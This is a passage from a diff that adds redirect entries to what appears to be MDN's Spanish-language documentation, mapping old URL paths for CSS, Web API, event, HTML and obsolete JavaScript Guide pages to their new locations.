+/es/docs/Tutorial_de_XUL:Indicadores_de_progreso	/es/docs/Tutorial_de_XUL/Medidores_de_progreso
+/es/docs/Usando_audio_y_video_con_HTML5	/es/docs/Web/HTML/Usando_audio_y_video_con_HTML5
+/es/docs/Usando_audio_y_video_en_Firefox	/es/docs/Web/HTML/Usando_audio_y_video_con_HTML5
+/es/docs/Usando_m%C3%B3dulos_de_c%C3%B3digo_JavaScript	/es/docs/JavaScript_code_modules/Using
+/es/docs/Usar_audio_y_v%C3%ADdeo_en_Firefox	/es/docs/Web/HTML/Usando_audio_y_video_con_HTML5
+/es/docs/Usar_gradientes	/es/docs/CSS/Using_CSS_gradients
+/es/docs/Usar_la_Geolocalizaci%C3%B3n	/es/docs/WebAPI/Using_geolocation
+/es/docs/Using_files_from_web_applications	/es/docs/Web/API/File/Using_files_from_web_applications
+/es/docs/Using_geolocation	/es/docs/WebAPI/Using_geolocation
+/es/docs/Uso_de_URL_como_valor_de_la_propiedad_cursor	/es/docs/Web/CSS/cursor/Uso_de_URL_como_valor_de_la_propiedad_cursor
+/es/docs/Vigilando_complementos	/es/docs/Vigilar_plugins
+/es/docs/Vigilando_descargas	/es/docs/Vigilar_descargas
+/es/docs/Vigilando_plugins	/es/docs/Vigilar_plugins
+/es/docs/Web/API/Apps.checkInstalled	/es/docs/Web/API/DOMApplicationsRegistry/checkInstalled
+/es/docs/Web/API/Apps.getInstalled	/es/docs/Web/API/DOMApplicationsRegistry/getInstalled
+/es/docs/Web/API/Apps.install	/es/docs/Web/API/DOMApplicationsRegistry/install
+/es/docs/Web/API/Apps.installPackage	/es/docs/Web/API/DOMApplicationsRegistry/installPackage
+/es/docs/Web/API/BatteryManager.charging	/es/docs/Web/API/BatteryManager/charging
+/es/docs/Web/API/BatteryManager.chargingTime	/es/docs/Web/API/BatteryManager/chargingTime
+/es/docs/Web/API/BatteryManager.dischargingTime	/es/docs/Web/API/BatteryManager/dischargingTime
+/es/docs/Web/API/BatteryManager.level	/es/docs/Web/API/BatteryManager/level
+/es/docs/Web/API/BatteryManager.onchargingchange	/es/docs/Web/API/BatteryManager/onchargingchange
+/es/docs/Web/API/BatteryManager.onlevelchange	/es/docs/Web/API/BatteryManager/onlevelchange
+/es/docs/Web/API/Blob.Blob	/es/docs/Web/API/Blob/Blob
+/es/docs/Web/API/CSSStyleSheet.insertRule	/es/docs/Web/API/CSSStyleSheet/insertRule
+/es/docs/Web/API/CameraCapabilities.maxExposureCompensation	/es/docs/Web/API/CameraCapabilities/maxExposureCompensation
+/es/docs/Web/API/CameraCapabilities.maxFocusAreas	/es/docs/Web/API/CameraCapabilities/maxFocusAreas
+/es/docs/Web/API/Constraint_validation/invalid_event	/es/docs/Web/API/HTMLInputElement/invalid_event
+/es/docs/Web/API/Coordinates	/es/docs/Web/API/GeolocationCoordinates
+/es/docs/Web/API/Coordinates/latitude	/es/docs/Web/API/GeolocationCoordinates/latitude
+/es/docs/Web/API/Document/activeElement	/es/docs/Web/API/DocumentOrShadowRoot/activeElement
+/es/docs/Web/API/Document/elementFromPoint	/es/docs/Web/API/DocumentOrShadowRoot/elementFromPoint
+/es/docs/Web/API/Document/firstChild	/es/docs/Web/API/Node.firstChild
+/es/docs/Web/API/Geolocalizaci%C3%B3n	/es/docs/Web/API/Geolocation
+/es/docs/Web/API/Geolocation.clearWatch	/es/docs/Web/API/Geolocation/clearWatch
+/es/docs/Web/API/Geolocation.getCurrentPosition	/es/docs/Web/API/Geolocation/getCurrentPosition
+/es/docs/Web/API/Geolocation.watchPosition	/es/docs/Web/API/Geolocation/watchPosition
+/es/docs/Web/API/HTMLElement/invalid_event	/es/docs/Web/API/HTMLInputElement/invalid_event
+/es/docs/Web/API/IDBObjectStore.add	/es/docs/Web/API/IDBObjectStore/add
+/es/docs/Web/API/Navigator.getUserMedia	/es/docs/Web/API/Navigator/getUserMedia
+/es/docs/Web/API/Node.nextSibling	/es/docs/Web/API/Node/nextSibling
+/es/docs/Web/API/Node/firstChild	/es/docs/Web/API/Node.firstChild
+/es/docs/Web/API/Position	/es/docs/Web/API/GeolocationPosition
+/es/docs/Web/API/WebGL_API/Animating_objects_with_WebGL	/es/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+/es/docs/Web/API/WebGL_API/Getting_started_with_WebGL	/es/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+/es/docs/Web/API/Window.clearTimeout	/es/docs/Web/API/WindowTimers/clearTimeout
+/es/docs/Web/API/Window.navigator	/es/docs/Web/API/Window/navigator
+/es/docs/Web/API/Window.onbeforeunload	/es/docs/Web/API/WindowEventHandlers/onbeforeunload
+/es/docs/Web/API/Window.setTimeout	/es/docs/Web/API/WindowTimers/setTimeout
+/es/docs/Web/API/WindowBase64.atob	/es/docs/Web/API/WindowBase64/atob
+/es/docs/Web/API/event.defaultPrevented	/es/docs/Web/API/Event/defaultPrevented
+/es/docs/Web/API/event.which	/es/docs/Web/API/KeyboardEvent/which
+/es/docs/Web/Aplicaciones/Arquitectura_de_aplicaciones	/es/docs/Web/Aplicaciones/Build/Arquitectura_de_aplicaciones
+/es/docs/Web/Aplicaciones/Comenzar	/es/docs/Web/Aplicaciones/Comenzando_aplicaciones
+/es/docs/Web/Aplicaciones/Comenzar_con_la_creaci%C3%B3n_de_aplicaciones	/es/docs/Web/Aplicaciones/Comenzando_aplicaciones
+/es/docs/Web/Aplicaciones/Developing	/es/docs/Web/Aplicaciones/Build
+/es/docs/Web/Aplicaciones/Developing/Manifest	/es/docs/Web/Aplicaciones/Build/Manifest
+/es/docs/Web/Aplicaciones/Iniciarse	/es/docs/Web/Aplicaciones/Comenzando_aplicaciones
+/es/docs/Web/Aplicaciones/Progressive	/es/docs/Web/Progressive_web_apps
+/es/docs/Web/Aplicaciones/Progressive/Introduction	/es/docs/Web/Progressive_web_apps/Introduction
+/es/docs/Web/Apps/Design	/es/docs/Web/Aplicaciones/Design
+/es/docs/Web/Apps/Design/Navegacion_Adaptativa	/es/docs/Web/Aplicaciones/Design/Navegacion_Adaptativa
+/es/docs/Web/Apps/Design/Planning_your_app	/es/docs/Web/Aplicaciones/Design/Planning_your_app
+/es/docs/Web/Apps/Developing	/es/docs/Web/Aplicaciones/Build
+/es/docs/Web/Apps/Developing/Manifest/Manifest	/es/docs/Web/Aplicaciones/Build/Manifest
+/es/docs/Web/Apps/Games	/es/docs/Web/Aplicaciones/Games
+/es/docs/Web/Apps/Games/Consideraciones_especiales	/es/docs/Web/Aplicaciones/Games/Consideraciones_especiales
+/es/docs/Web/Apps/Quickstart	/es/docs/Web/Aplicaciones/Quickstart
+/es/docs/Web/Apps/Quickstart/Design	/es/docs/Web/Aplicaciones/Quickstart/Design
+/es/docs/Web/Apps/Quickstart/Design/Concept_A_great_app	/es/docs/Web/Aplicaciones/Quickstart/Design/Concept_A_great_app
+/es/docs/Web/Apps/Quickstart/Design/Pautas_UI	/es/docs/Web/Aplicaciones/Quickstart/Design/Pautas_UI
+/es/docs/Web/Apps/Quickstart/Design/Principios_de_dise%C3%B1o	/es/docs/Web/Aplicaciones/Quickstart/Design/Principios_de_dise%C3%B1o
+/es/docs/Web/CSS/-moz-appearance	/es/docs/Web/CSS/appearance
+/es/docs/Web/CSS/Child_selectors	/es/docs/Web/CSS/Child_combinator
+/es/docs/Web/CSS/Como_iniciar/Porqu%C3%A9_usar_CSS	/es/docs/Web/CSS/Como_iniciar/Por_que_usar_CSS
+/es/docs/Web/CSS/Consultas_multimedia	/es/docs/CSS/Media_queries
+/es/docs/Web/CSS/Descendant_selectors	/es/docs/Web/CSS/Descendant_combinator
+/es/docs/Web/CSS/Getting_Started	/es/docs/Web/CSS/Comenzando_(tutorial_CSS)
+/es/docs/Web/CSS/Introducci%C3%B3n/Content	/es/docs/Learn/CSS/S%C3%A1bercomo/Generated_content
+/es/docs/Web/CSS/Referencia_CSS/Extensiones_CSS_Mozilla	/es/docs/Web/CSS/Mozilla_Extensions
+/es/docs/Web/CSS/Referencia_CSS/Extensiones_Mozilla	/es/docs/Web/CSS/Mozilla_Extensions
+/es/docs/Web/CSS/Referencia_CSS/background-blend-mode	/es/docs/Web/CSS/background-blend-mode
+/es/docs/Web/CSS/Usando_animaciones_CSS	/es/docs/Web/CSS/CSS_Animations/Usando_animaciones_CSS
+/es/docs/Web/CSS/Using_CSS_transforms	/es/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms
+/es/docs/Web/CSS/Using_CSS_variables	/es/docs/Web/CSS/Using_CSS_custom_properties
+/es/docs/Web/CSS/after	/es/docs/Web/CSS/%3A%3Aafter
+/es/docs/Web/CSS/animacion-iteracion-cuenta	/es/docs/Web/CSS/animation-iteration-count
+/es/docs/Web/CSS/animacion-nombre	/es/docs/Web/CSS/animation-name
+/es/docs/Web/CSS/attr	/es/docs/Web/CSS/attr()
+/es/docs/Web/CSS/before	/es/docs/Web/CSS/%3A%3Abefore
+/es/docs/Web/CSS/calc	/es/docs/Web/CSS/calc()
+/es/docs/Web/CSS/capacidad_de_animacion_de_propiedades_CSS	/es/docs/Web/CSS
+/es/docs/Web/CSS/computed_value	/es/docs/Web/CSS/Valor_calculado
+/es/docs/Web/CSS/env	/es/docs/Web/CSS/env()
+/es/docs/Web/CSS/filter-function/blur	/es/docs/Web/CSS/filter-function/blur()
+/es/docs/Web/CSS/filter-function/brightness	/es/docs/Web/CSS/filter-function/brightness()
+/es/docs/Web/CSS/filtro	/es/docs/Web/CSS/filter
+/es/docs/Web/CSS/kerning	/en-US/docs/Web/CSS/font-kerning
+/es/docs/Web/CSS/linear-gradient	/es/docs/Web/CSS/linear-gradient()
+/es/docs/Web/CSS/min	/es/docs/Web/CSS/min()
+/es/docs/Web/CSS/minmax	/es/docs/Web/CSS/minmax()
+/es/docs/Web/CSS/none	/es/docs/Web/CSS/float
+/es/docs/Web/CSS/padding_paspartu	/es/docs/Web/CSS/padding
+/es/docs/Web/CSS/radial-gradient	/es/docs/Web/CSS/radial-gradient()
+/es/docs/Web/CSS/repeat	/es/docs/Web/CSS/repeat()
+/es/docs/Web/CSS/transform-function/rotate	/es/docs/Web/CSS/transform-function/rotate()
+/es/docs/Web/CSS/transform-function/rotate3d	/es/docs/Web/CSS/transform-function/rotate3d()
+/es/docs/Web/CSS/transform-function/scale	/es/docs/Web/CSS/transform-function/scale()
+/es/docs/Web/CSS/transform-function/translate	/es/docs/Web/CSS/transform-function/translate()
+/es/docs/Web/CSS/transform-function/translateY	/es/docs/Web/CSS/transform-function/translateY()
+/es/docs/Web/CSS/transform-function/translateZ	/es/docs/Web/CSS/transform-function/translateZ()
+/es/docs/Web/CSS/var	/es/docs/Web/CSS/var()
+/es/docs/Web/Events/canplay	/es/docs/Web/API/HTMLMediaElement/canplay_event
+/es/docs/Web/Events/click	/es/docs/Web/API/Element/click_event
+/es/docs/Web/Events/close_websocket	/es/docs/Web/API/WebSocket/close_event
+/es/docs/Web/Events/dragover	/es/docs/Web/API/Document/dragover_event
+/es/docs/Web/Events/hashchange	/es/docs/Web/API/Window/hashchange_event
+/es/docs/Web/Events/keydown	/es/docs/Web/API/Document/keydown_event
+/es/docs/Web/Events/mousedown	/es/docs/Web/API/Element/mousedown_event
+/es/docs/Web/Events/offline	/es/docs/Web/API/Window/offline_event
+/es/docs/Web/Events/scroll	/es/docs/Web/API/Document/scroll_event
+/es/docs/Web/Events/tecla	/es/docs/Web/API/Document/keyup_event
+/es/docs/Web/Events/timeupdate	/es/docs/Web/API/HTMLMediaElement/timeupdate_event
+/es/docs/Web/Events/timeupdate_event	/es/docs/Web/HTML/Elemento/audio/timeupdate_event
+/es/docs/Web/Events/wheel	/es/docs/Web/API/Element/wheel_event
+/es/docs/Web/Guide/CSS	/es/docs/Learn/CSS
+/es/docs/Web/Guide/CSS/Cajas_flexibles	/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS
+/es/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained	/es/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained/Orientation_and_motion_data_explained
+/es/docs/Web/Guide/HTML	/es/docs/Learn/HTML
+/es/docs/Web/Guide/HTML/Forms	/es/docs/Learn/HTML/Forms
+/es/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form	/es/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form
+/es/docs/Web/Guide/HTML/Forms/My_first_HTML_form	/es/docs/Learn/HTML/Forms/Your_first_HTML_form
+/es/docs/Web/Guide/HTML/Forms/Sending_and_retrieving_form_data	/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data
+/es/docs/Web/Guide/HTML/Forms/Styling_HTML_forms	/es/docs/Learn/HTML/Forms/Styling_HTML_forms
+/es/docs/Web/Guide/HTML/Introduction_alhtml	/es/docs/Learn/HTML/Introduccion_a_HTML
+/es/docs/Web/HTML/Elemento/%3Cdata%3E	/es/docs/Web/HTML/Elemento/data
+/es/docs/Web/HTML/Elemento/Audio2	/es/docs/Web/HTML/Elemento/audio
+/es/docs/Web/HTML/Elemento/Progreso	/es/docs/Web/HTML/Elemento/progress
+/es/docs/Web/HTML/Elemento/etiqueta	/es/docs/Web/HTML/Elemento/label
+/es/docs/Web/HTML/Elemento/h2	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/Web/HTML/Elemento/h3	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/Web/HTML/Elemento/h4	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/Web/HTML/Elemento/h5	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/Web/HTML/Elemento/h6	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/Web/HTML/Elemento/preformato	/es/docs/Web/HTML/Elemento/pre
+/es/docs/Web/HTML/Elemento/video/canplay_event	/es/docs/Web/API/HTMLMediaElement/canplay_event
+/es/docs/Web/HTML/Elemento/video/timeupdate_event	/es/docs/Web/API/HTMLMediaElement/timeupdate_event
+/es/docs/Web/HTML/Gesti%C3%B3n_del_foco_en_HTML	/es/docs/Web/API/Document/hasFocus
+/es/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Lista_completa_de_tipos_MIME	/es/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+/es/docs/Web/JavaScript/Guide/AcercaDe	/es/docs/Web/JavaScript/Guide/Introducción
+/es/docs/Web/JavaScript/Guide/Closures	/es/docs/Web/JavaScript/Closures
+/es/docs/Web/JavaScript/Guide/Inheritance_Revisited	/es/docs/Web/JavaScript/Inheritance_and_the_prototype_chain
+/es/docs/Web/JavaScript/Guide/JavaScript_Overview	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages	/es/docs/Web/JavaScript/Guide
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5	/es/docs/Web/JavaScript/Guide
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Acerca_de_esta_gu%C3%ADa	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Concepto_de_JavaScript	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Constantes	/es/docs/Web/JavaScript/Referencia/Sentencias/const
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Constructores_m%C3%A1s_flexibles	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Constructores_mas_flexibles
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Creando_nuevos_objetos
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Borrando_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Eliminando_propiedades
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_las_funciones_get_y_set	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_getters_y_setters
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_los_m%C3%A9todos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_los_m.C3.A9todos
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_propiedades_para_un_tipo_de_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definici.C3.B3n_de_las_propiedades_de_un_tipo_de_objeto
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Indexando_las_propiedades_del_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Propiedades_del_objeto_indexado
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Usando_this_para_referirse_al_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_this_para_las_referencias_a_objetos
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Usando_una_funci%C3%B3n_constructora	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_una_funci.C3.B3n_constructora
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Using_Object_Initializers	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Utilizando_Objetos_Iniciadores	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_una_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Definiendo_Funciones	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Empleado	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Creando_la_jerarqu%C3%ADa	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creacion_de_la_jerarquia
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Propiedades_de_objetos
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos/A%C3%B1adiendo_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#A.C3.B1adir_propiedades
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos/Heredando_las_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Herencia_de_propiedades
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Escribir_un_patr%C3%B3n_de_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Excepci%C3%B3n_del_DOM	/es/docs/Web/API/DOMException
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Expresiones	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Expresiones_Regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Expresiones_y_operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_Number_y_String	/es/docs/Web/JavaScript/Guide/Funciones#Number_and_String_functions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_escape_y_unescape	/es/docs/Web/JavaScript/Guide/Funciones#escape_and_unescape_functions(Obsoleted_above_JavaScript_1.5)
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_parseInt_y_parseFloat	/es/docs/Web/JavaScript/Guide/Funciones#parseInt_and_parseFloat_functions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas	/es/docs/Web/JavaScript/Guide/Funciones#Predefined_functions
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_eval	/es/docs/Web/JavaScript/Guide/Funciones#eval_Function
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_isFinite	/es/docs/Web/JavaScript/Guide/Funciones#isFinite_function
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_isNaN	/es/docs/Web/JavaScript/Guide/Funciones#isNaN_function
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Lenguajes_basados_en_clases_frente_a_basados_en_prototipos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Literales	/es/docs/Web/JavaScript/Guide/Grammar_and_types#Literales
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Llamando_Funciones	/es/docs/Web/JavaScript/Guide/Funciones#Llamando_funciones
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Mas_sobre_herencia_de_propiedades
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Determinando_relaciones_de_instancia	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Como_determinar_las_relaciones_entre_instancias
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Herencia_no_m%C3%BAltiple	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_existe_herencia_multiple
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Informaci%C3%B3n_global_en_los_constructores	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Informacion_global_en_los_constructores
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Valores_locales_frente_a_los_heredados	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Valores_locales_frente_a_valores_heredados
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos	/es/docs/Web/JavaScript/Referencia
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Math	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Number	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_y_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Objetos_y_propiedades
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_aritm%C3%A9ticos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_aritm.C3.A9ticos
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_asignaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_asignaci.C3.B3n
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_cadenas_de_caracteres_(string)	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#String_operators
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_comparaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_comparaci.C3.B3n
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_especiales	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Special_operators
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_l%C3%B3gicos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_l.C3.B3gicos
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_sobre_bits	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_Bit-a-bit
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Predefined_Functions	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Predefined_Functions/eval_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencia_condicional	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Condicionales
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencia_de_bloque	/es/docs/Web/JavaScript/Referencia/Sentencias/block
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_bucle	/es/docs/Web/JavaScript/Guide/Loops_and_iteration
+/es/docs/Web/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Utilizing_Error_objects
